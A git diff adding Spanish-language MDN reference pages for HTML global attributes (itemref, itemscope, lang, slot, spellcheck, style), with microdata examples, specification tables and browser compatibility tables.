+&lt;div id="b" itemprop="band" itemscope itemref="c"&gt;&lt;/div&gt;
+&lt;div id="c"&gt;
+    &lt;p&gt;Band: &lt;span itemprop="name"&gt;Jazz Band&lt;/span&gt; &lt;/p&gt;
+    &lt;p&gt;Size: &lt;span itemprop="size"&gt;12&lt;/span&gt; players&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<article id="wikiArticle">
+<h3 id="Datos_estructurados">Datos estructurados </h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>id's</th>
+   <th>itemscope</th>
+   <th>itemref</th>
+   <th> </th>
+   <th>(nombre de itemprop )</th>
+   <th>(valor de itemprop)</th>
+  </tr>
+  <tr>
+   <td>id=amanda</td>
+   <td>itemscope</td>
+   <td>itemref=a,b</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>id=a</td>
+   <td> </td>
+   <td> </td>
+   <td>itemprop</td>
+   <td>name</td>
+   <td><span>Amanda</span></td>
+  </tr>
+  <tr>
+   <td>id=b</td>
+   <td>itemscope</td>
+   <td>itemref=c</td>
+   <td> </td>
+   <td>band</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="2">id=c</td>
+   <td> </td>
+   <td> </td>
+   <td>itemprop</td>
+   <td>Band</td>
+   <td><span>Jazz Band</span></td>
+  </tr>
+  <tr>
+   <td> </td>
+   <td> </td>
+   <td>itemprop</td>
+   <td>Size</td>
+   <td><span>12</span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{ EmbedLiveSample('Example', '', '', '', 'Web/HTML/Global_attributes/itemref') }}</p>
+
+<h2 id="EspecificaciónEditEdit">Especificación<a class="only-icon button section-edit new" href="https://developer.mozilla.org/en-US/docs/Web/CSS/font-variant-alternates$edit#Specifications"><span>Edit</span></a><a class="only-icon button section-edit new" href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/itemid$edit#SpecificationsEdit"><span>Edit</span></a></h2>
+
+<table class="standard-table" style="height: 105px; width: 490px;">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td style="text-align: left; vertical-align: middle;"><a class="external-icon external" href="https://html.spec.whatwg.org/multipage/microdata.html#items">itemref</a></td>
+   <td style="text-align: left; vertical-align: middle; white-space: nowrap;">Nota WG  - No se encuentra activamente en desarrollo</td>
+  </tr>
+ </tbody>
+</table>
+</article>
+</div>
diff --git a/files/es/web/html/atributos_globales/itemscope/index.html b/files/es/web/html/atributos_globales/itemscope/index.html
new file mode 100644
index 0000000000..b57fc1c6bc
--- /dev/null
+++ b/files/es/web/html/atributos_globales/itemscope/index.html
@@ -0,0 +1,284 @@
+---
+title: itemscope
+slug: Web/HTML/Atributos_Globales/itemscope
+tags:
+  - Ejemplo
+  - itemscope
+  - itemtype
+translation_of: Web/HTML/Global_attributes/itemscope
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><code><strong>itemscope</strong></code> es un <a href="/en-US/docs/Web/HTML/Global_attributes">atributo global</a> booleano que define el scope asociado del metadata. Especificando el atributo <code><strong>itemscope</strong></code> en un elemento crea un nuevo item, cuyos resultados estan en los numeros de pares name-value asociados con el elemento. Un atributo relativo, {{htmlattrxref("itemtype")}}, es usado para especificar el URL valido de un medio/recipe (como lo es <a href="http://schema.org/">schema.org</a>) que describe que el item es de propiedad contextual. En cada uno de los siguientes ejemplos, el medio/recipe es de <a href="https://schema.org/">schema.org</a>.</p>
+
+<p>Todos los elementos HTML pueden tener un atributo <code>itemscope</code> especifico. Un elemento <code>itemscope</code> no tiene un asociado <code>itemtype</code> pero tiene un sociado <code>itemref</code>.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Encuentra mas acerca del atributo <code>itemtype</code> en <a href="http://schema.org/Thing">http://schema.org/Thing</a></p>
+</div>
+
+<h3 id="Ejemplo_simple">Ejemplo simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<p>El siguiente ejemplo especifica que el atributo <code>itemscope</code>. El ejemplo especificado en el <code>itemtype</code> es "http://schema.org/Movie", y especifica tres atributos <code>itemprop</code> relativos.</p>
+
+<pre class="brush:html">&lt;div itemscope itemtype="http://schema.org/Movie"&gt;
+  &lt;h1 itemprop="nombre"&gt;Avatar&lt;/h1&gt;
+  &lt;span&gt;Director: &lt;span itemprop="director"&gt;James Cameron&lt;/span&gt; (born August 16, 1954)&lt;/span&gt;
+  &lt;span itemprop="genero"&gt;Ciencia ficcion&lt;/span&gt;
+  &lt;a href="https://youtu.be/0AY1XIkX7bY" itemprop="trailer"&gt;Trailer&lt;/a&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="sect1"> </h4>
+
+<h4 id="Esctructura_de_informacion">Esctructura de informacion</h4>
+
+<p>La siguiente tabla muestran los datos esctructurados mostrados en el anterior ejemplo.</p>
+
+<p> </p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td rowspan="6">itemscope</td>
+   <td>Itemtype</td>
+   <td colspan="2">Movie</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>(itemprop name)</td>
+   <td>(itemprop value)</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>director</td>
+   <td>James Cameron</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>genero</td>
+   <td>Ciencia Ficcion</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>nombre</td>
+   <td>Avatar</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>https://youtu.be/0AY1XIkX7bY</td>
+   <td>Trailer</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="itemscope_Atributos_ID"><code>itemscope</code> Atributos ID</h3>
+
+<p>Cuando especificas el atributo <code>itemscope</code> para un elemento, un nuevo item es creado. El item consiste de un grupo de pares de name-value. Para elementos con un atributo <code>itemscope</code> y un atributo <code>itemtype</code>, podrias tambien especificar un {{htmlattrxref("id")}} attribute. Puedes usar el atributo <code>id</code> para establecer un identificador global para el nuevo item. Un identificador global permite que los items relativos a otros items encuentren paginas atraves de la Web.</p>
+
+<h3 id="Ejemplo">Ejemplo</h3>
+
+<p>Hay 4 atributos <code>itemscope</code> en el siguiente ejemplo. Cada atributo <code>itemscope</code> establecen el scope correspondiente a sus atributos <code>itemtype</code>. El <code>itemtype</code>s, <code>Recipe</code>, <code>AggregateRating</code>, y <code>NutritionInformation</code> en el siguiente ejemplo son parte de la informacion estructura por medio de <a href="www.schema.org">schema.org</a>, se especifico el primer <code>itemtype</code>, http://schema.org/Recipe.</p>
+
+<pre class="brush: html">&lt;div itemscope itemtype="http://schema.org/Recipe"&gt;
+&lt;h2 itemprop="name"&gt;Grandma's Holiday Apple Pie&lt;/h2&gt;
+&lt;img itemprop="image" src="https://c1.staticflickr.com/1/30/42759561_8631e2f905_n.jpg" width="50" height="50"/&gt;
+&lt;p&gt;By &lt;span itemprop="author" itemscope itemtype="http://schema.org/Person"&gt;
+&lt;span itemprop="name"&gt;Carol Smith&lt;/p&gt;&lt;/span&gt;
+&lt;/span&gt;
+&lt;p&gt;Published: &lt;time datetime="2009-11-05" itemprop="datePublished"&gt;
+November 5, 2009&lt;/p&gt;&lt;/time&gt;
+&lt;span itemprop="description"&gt;This is my grandmother's apple pie recipe. I like to add a dash of nutmeg.&lt;br&gt;&lt;/span&gt;
+ &lt;span itemprop="aggregateRating" itemscope itemtype="http://schema.org/AggregateRating"&gt;
+ &lt;span itemprop="ratingValue"&gt;4.0&lt;/span&gt; stars based on &lt;span itemprop="reviewCount"&gt;35&lt;/span&gt; reviews&lt;br&gt;&lt;/span&gt;
+Prep time: &lt;time datetime="PT30M" itemprop="prepTime"&gt;30 min&lt;br&gt;&lt;/time&gt;
+ Cook time: &lt;time datetime="PT1H" itemprop="cookTime"&gt;1 hour&lt;br&gt;&lt;/time&gt;
+ Total time: &lt;time datetime="PT1H30M" itemprop="totalTime"&gt;1 hour 30 min&lt;br&gt;&lt;/time&gt;
+ Yield: &lt;span itemprop="recipeYield"&gt;1 9" pie (8 servings)&lt;br&gt;&lt;/span&gt;
+ &lt;span itemprop="nutrition" itemscope itemtype="http://schema.org/NutritionInformation"&gt;
+ Serving size: &lt;span itemprop="servingSize"&gt;1 medium slice&lt;br&gt;&lt;/span&gt;
+ Calories per serving: &lt;span itemprop="calories"&gt;250 cal&lt;br&gt;&lt;/span&gt;
+ Fat per serving: &lt;span itemprop="fatContent"&gt;12 g&lt;br&gt;&lt;/span&gt;
+&lt;/span&gt;
+&lt;p&gt;Ingredients:&lt;br&gt;
+  &lt;span itemprop="recipeIngredient"&gt;Thinly-sliced apples: 6 cups&lt;br&gt;&lt;/span&gt;
+  &lt;span itemprop="recipeIngredient"&gt;White sugar: 3/4 cup&lt;br&gt;&lt;/span&gt;
+ ... &lt;/p&gt;
+
+Directions: &lt;br&gt;
+  &lt;div itemprop="recipeInstructions"&gt;
+    1. Cut and peel apples&lt;br&gt;
+    2. Mix sugar and cinnamon. Use additional sugar for tart apples. &lt;br&gt;
+    ...
+  &lt;/div&gt;
+&lt;/div&gt; </pre>
+
+<h3 id="Resultados">Resultados</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<p>Los siguientes son un ejemplo renderizado resultado del codigo del anterior ejemplo.</p>
+
+<p>{{EmbedLiveSample('Example', '500', '550', '', 'Web/HTML/Global_attributes/itemscope')}}</p>
+
+<h4 id="Structured_data">Structured data</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="14">itemscope</td>
+   <td>itemtype</td>
+   <td colspan="2" rowspan="1">Medio/Recipe</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>name</td>
+   <td>Grandma's Holiday Apple Pie</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>image</td>
+   <td>https://c1.staticflickr.com/1/30/42759561_8631e2f905_n.jpg</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>datePublished</td>
+   <td>2009-11-05</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>description</td>
+   <td>This is my grandmother's apple pie recipe. I like to add a dash of nutmeg.</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>prepTime</td>
+   <td>PT30M</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>cookTime</td>
+   <td>PT1H</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>totalTime</td>
+   <td>PT1H30M</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>recipeYield</td>
+   <td>1 9" pie (8 servings)</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>recipeIngredient</td>
+   <td>Thinly-sliced apples: 6 cups</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>recipeIngredient</td>
+   <td>White sugar: 3/4 cup</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>recipeInstructions</td>
+   <td>1. Cut and peel apples 2. Mix sugar and cinnamon. Use additional sugar for tart apples .</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td colspan="2" rowspan="1">author [Person]</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>name</td>
+   <td>Carol Smith</td>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="3">itemscope</td>
+   <td>itemprop[itemtype]</td>
+   <td colspan="2" rowspan="1">aggregateRating [AggregateRating]</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>ratingValue</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>reviewCount</td>
+   <td>35</td>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="4">itemscope</td>
+   <td>itemprop[itemtype]</td>
+   <td colspan="2" rowspan="1">nutrition [NutritionInformation]</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>servingSize</td>
+   <td>1 medium slice</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>calories</td>
+   <td>250 cal</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>fatContent</td>
+   <td>12 g</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note</strong>: Una herramienta practica para extraer estructuras microdata del HTML es<a href="https://developers.google.com/structured-data/testing-tool/"> Structured Data Testing Tool</a> de Google. Pruebalo en el HTML del ejemplo anterior.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estados</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML Microdata', "#dfn-itemscope", "itemscope")}}</td>
+   <td>{{Spec2('HTML Microdata')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "microdata.html#attr-itemscope", "itemscope")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Navegadores_compatibles">Navegadores compatibles</h2>
+
+
+
+<p>{{Compat("html.global_attributes.itemscope")}}</p>
+
+<h2 id="Ver_tambien">Ver tambien</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Global_attributes">Otros atributos globales diferentes</a></li>
+ <li>Otro, microdata relativo, atributos globales:
+  <ul>
+   <li>{{htmlattrxref("itemid")}}</li>
+   <li>{{htmlattrxref("itemprop")}}</li>
+   <li>{{htmlattrxref("itemref")}}</li>
+   <li>{{htmlattrxref("itemscope")}}</li>
+   <li>{{htmlattrxref("itemtype")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/es/web/html/atributos_globales/lang/index.html b/files/es/web/html/atributos_globales/lang/index.html
new file mode 100644
index 0000000000..dcea33a66f
--- /dev/null
+++ b/files/es/web/html/atributos_globales/lang/index.html
@@ -0,0 +1,108 @@
+---
+title: lang
+slug: Web/HTML/Atributos_Globales/lang
+tags:
+  - Atributos globales
+  - HTML
+  - Referencia
+translation_of: Web/HTML/Global_attributes/lang
+---
+<p class="note">{{HTMLSidebar("Global_attributes")}}</p>
+
+<p>El <a href="/es/docs/Web/HTML/Atributos_Globales">atributo global </a><strong>lang</strong> participa en la definición del lenguaje del elemento , el lenguaje en que están escritos los elementos no editables o el lenguaje en el cual los elementos editables deberían de estar escritos . La etiqueta contiene un valor sencillo de entrada en el formato que define el documento <a href="http://www.ietf.org/rfc/bcp/bcp47.txt">tags para identificar lenguajes </a><em><a href="http://www.ietf.org/rfc/bcp/bcp47.txt"> </a>(BCP47)</em> de la IETF . Si el contenido de la etiqueta es la <em>cadena vacía </em>, el lenguaje se establece como <em>desconocido</em> , si el contenido de la etiqueta no es válido respecto al documento BCP47 , se establece como <em>inválido . </em></p>
+
+<p>Incluso si el atributo <strong>lang </strong>está establecido , puede que no se tome en cuenta , ya que el atributo <strong>xml:lang </strong>tiene prioridad . Leer el algoritmo para determinar el lenguaje  de el contenido de un elemento para ver como es determinado el lenguaje en todos los casos.</p>
+
+<p>Para la pseudo clase { cssxref(":lang") }} de CSS,  dos nombres invalidos de lenguaje son diferentes si sus nombres son diferentes .</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#the-lang-and-xml:lang-attributes", "lang")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambio desde el último snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#the-lang-and-xml:lang-attributes", "lang")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot de {{SpecName('HTML WHATWG')}}, sin cambio desde {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#the-lang-and-xml:lang-attributes", "lang")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot de {{SpecName('HTML WHATWG')}}, comportandose con <strong>xml:lang</strong>  y el algoritmo de determinación del lenguaje . También es un verdadero atributo global .</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/dirlang.html#h-8.1', 'lang')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Soportado en todos los elementos menos en {HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, y  {{HTMLElement("script")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_exploradores">Compatibilidad en exploradores </h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracterísitica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracterísitica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a></li>
+</ul>
diff --git a/files/es/web/html/atributos_globales/slot/index.html b/files/es/web/html/atributos_globales/slot/index.html
new file mode 100644
index 0000000000..ed2b8688db
--- /dev/null
+++ b/files/es/web/html/atributos_globales/slot/index.html
@@ -0,0 +1,46 @@
+---
+title: slot
+slug: Web/HTML/Atributos_Globales/slot
+tags:
+  - Atributos globales
+  - HTML
+  - Referencia
+translation_of: Web/HTML/Global_attributes/slot
+---
+<div>{{HTMLSidebar("Global_attributes")}}{{SeeCompatTable}}</div>
+
+<p>El <a href="/en-US/docs/Web/HTML/Global_attributes">atributo global</a> <strong>slot</strong> asigna un espacio en un <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">shadow DOM</a> árbol shadow a un elemento: Un elemento con un atributo <code>slot</code> es asignado al espacio creado por el elemento {{HTMLElement("slot")}} cuyo valor de atributo {{htmlattrxref("name", "slot")}} coincide con el valor de ese atributo <code>slot</code>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#attr-slot", "slot attribute")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', "#dom-element-slot", "slot attribute")}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página es generada a partir de datos estructurados. Si le gustaría contribuir con estos datos, por favor clone el repositorio <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un pull request.</div>
+
+<p>{{Compat("html.global_attributes.slot")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>Todos los <a href="/en-US/docs/Web/HTML/Global_attributes">atributos globales</a>.</li>
+</ul>
diff --git a/files/es/web/html/atributos_globales/spellcheck/index.html b/files/es/web/html/atributos_globales/spellcheck/index.html
new file mode 100644
index 0000000000..c6ced2de46
--- /dev/null
+++ b/files/es/web/html/atributos_globales/spellcheck/index.html
@@ -0,0 +1,218 @@
+---
+title: spellcheck
+slug: Web/HTML/Atributos_Globales/spellcheck
+tags:
+  - Atributos globales
+  - Experimental
+  - HTML
+  - Referencia
+translation_of: Web/HTML/Global_attributes/spellcheck
+---
+<p class="note">{{HTMLSidebar("Global_attributes")}}{{SeeCompatTable}}</p>
+
+<p>El <a href="/es/docs/Web/HTML/Atributos_Globales">atributo global </a><strong>spellcheck</strong> es un atributo enumerado que define si el elemento debe de ser verificado por errores de deletreado. Puede tener los siguientes valores :</p>
+
+<ul>
+ <li><code>true , </code>que indica que elemento debe de ser checado para errores de deletreado si es posible .</li>
+ <li><code>false </code>, que indica que el elemento no debe de ser checado para errores de deletreado .</li>
+</ul>
+
+<p>Si este atributo no está establecido , su valor por default es de tipo elemento y definido por el explorador . El valor por default puede der <em>heredado  ,  </em>lo que significa que el contenido del elemento será checado para errores de deletreado solo si el ancestro más cercano tiene un estado de <em>spellcheck  </em>con valor <code>true .</code></p>
+
+<p>Puedes consultar <a href="/es/docs/Control_de_la_corrección_ortográfica_en_formularios_HTML">este artículo</a> para ver un ejemplo comprensivo del uso de este atributo. <br>
+  </p>
+
+<p>Este es un atributo <em>enumerado </em>y no uno<em>Booleano </em>. Esto significa que el uso explícito de uno de los valores <code>true </code>o <code>false </code>es obligatorio y que una escritura como <code>&lt;label spellcheck&gt;Example Label&lt;/label&gt; </code>no está permitida . El uso correcto es <code>&lt;label spellcheck="true"&gt;Example Label&lt;/label&gt;</code>.</p>
+
+<p>Este atributo es meramente un indicio para el explorador : los exploradores no son obligados a tener disponibilidad para verificar los errores de deletreado , incluso si el atributo <strong>spellcheck</strong> es establecido como <code>true </code>y el explorador soporta verificación de deletreado .</p>
+
+<p>El valor por default de este atributo es dependiente del explorador y del elemento :</p>
+
+<table class="fullwidth-table" style="line-height: 1.5;">
+ <tbody>
+  <tr>
+   <th>Explorador</th>
+   <th>{{ HTMLElement("html") }}</th>
+   <th>{{ HTMLElement("textarea") }}</th>
+   <th>{{ HTMLElement("input") }}</th>
+   <th>others</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td rowspan="3">Firefox</td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><em>inherited</em></td>
+   <td>When <code>layout.spellcheckDefault</code> is <code>0</code></td>
+  </tr>
+  <tr>
+   <td><strong><code>false</code></strong></td>
+   <td><strong><code>true</code></strong></td>
+   <td><strong><em>inherited</em></strong></td>
+   <td><strong><em>inherited</em></strong></td>
+   <td><strong>When <code>layout.spellcheckDefault</code> is <code>1</code> (default value)</strong></td>
+  </tr>
+  <tr>
+   <td><code>false</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td><em>inherited</em></td>
+   <td>When <code>layout.spellcheckDefault</code> is <code>2</code></td>
+  </tr>
+  <tr>
+   <td rowspan="3">Seamonkey</td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><em>inherited</em></td>
+   <td>When <code>layout.spellcheckDefault</code> is <span style="font-family: courier new;"><code>0</code></span></td>
+  </tr>
+  <tr>
+   <td><strong><code>false</code></strong></td>
+   <td><strong><code>true</code></strong></td>
+   <td><strong><em>inherited</em></strong></td>
+   <td><strong><em>inherited</em></strong></td>
+   <td><strong>When <code>layout.spellcheckDefault</code> is <span style="font-family: courier new;">1</span> (default value)</strong></td>
+  </tr>
+  <tr>
+   <td><code>false</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td><em>inherited</em></td>
+   <td>When <code>layout.spellcheckDefault</code> is <span style="font-family: courier new;"><code>2</code></span></td>
+  </tr>
+  <tr>
+   <td rowspan="3">Camino</td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><em>inherited</em></td>
+   <td>When <code>layout.spellcheckDefault</code> is <span style="font-family: courier new;"><code>0</code></span></td>
+  </tr>
+  <tr>
+   <td><code>false</code></td>
+   <td><code>true</code></td>
+   <td><em>inherited</em></td>
+   <td><em>inherited</em></td>
+   <td>When <code>layout.spellcheckDefault</code> is <span style="font-family: courier new;"><code>1</code></span></td>
+  </tr>
+  <tr>
+   <td><strong><code>false</code></strong></td>
+   <td><strong><code>true</code></strong></td>
+   <td><strong><code>true</code></strong></td>
+   <td><strong><em>inherited</em></strong></td>
+   <td><strong>When <span style="font-family: courier new;">layout.spellcheckDefault</span> is <span style="font-family: courier new;"><code>2</code> </span><strong>(default value)</strong></strong></td>
+  </tr>
+  <tr>
+   <td>Chrome</td>
+   <td><code>false</code></td>
+   <td><code>true</code></td>
+   <td>?</td>
+   <td><em>inherited</em></td>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td><code>false</code></td>
+   <td><code>true</code></td>
+   <td>?</td>
+   <td><em>inherited</em></td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td><code>false</code></td>
+   <td><code>true</code></td>
+   <td>?</td>
+   <td><em>inherited</em></td>
+  </tr>
+  <tr>
+   <td>Safari</td>
+   <td><code>false</code></td>
+   <td><code>true</code></td>
+   <td>?</td>
+   <td><em>inherited</em></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Espeficicaciones">Espeficicaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Espeficifación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "interaction.html#spelling-and-grammar-checking", "spellcheck")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambio desde el último snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#spelling-and-grammar-checking", "spellcheck")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot de {{SpecName('HTML WHATWG')}}, declaración inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_exploradores">Compatibilidad con exploradores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1.8.1") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracterísitica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("1.8.1") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/HTML/Atributos_Globales">Atributos globales</a></li>
+</ul>
diff --git a/files/es/web/html/atributos_globales/style/index.html b/files/es/web/html/atributos_globales/style/index.html
new file mode 100644
index 0000000000..1da99e039b
--- /dev/null
+++ b/files/es/web/html/atributos_globales/style/index.html
@@ -0,0 +1,111 @@
+---
+title: style
+slug: Web/HTML/Atributos_Globales/style
+tags:
+  - Atributos globales
+  - HTML
+  - Referencia
+translation_of: Web/HTML/Global_attributes/style
+---
+<p class="note">{{HTMLSidebar("Global_attributes")}}</p>
+
+<p>El <a href="/es/docs/Web/HTML/Atributos_Globales">atributo global </a><strong>style</strong> contiene declaraciones de estilo  <a href="/es/docs/Web/CSS">CSS</a> a ser aplicados a un elemento . Notar que es recomandado para los estilos ser definidos en archivo o archivos separados . Este atributo y el elemento  {{ HTMLElement("style") }} tienen principalmente el propósito de permitir el estilizamiento rápido , por ejemplo para propósitos de pruebas .</p>
+
